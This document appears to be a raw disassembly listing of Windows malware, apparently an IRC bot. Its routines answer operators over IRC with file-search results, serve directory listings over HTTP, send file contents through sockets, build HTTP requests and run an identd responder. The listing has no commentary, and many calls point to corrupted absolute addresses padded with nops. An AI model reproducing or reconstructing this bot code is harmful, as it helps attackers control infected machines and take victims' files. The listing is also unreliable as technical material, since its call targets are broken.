loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 27107B7h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2740A58h
		nop
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 2670000h
		nop


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		nop
		call	near ptr 26803B2h
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 2770000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 27504D3h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2750000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		nop
		call	near ptr 26803B2h


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		call	near ptr 25E0000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 27107B7h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		nop
		call	near ptr 2740A58h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F1066h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2670000h


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA00
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA68
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
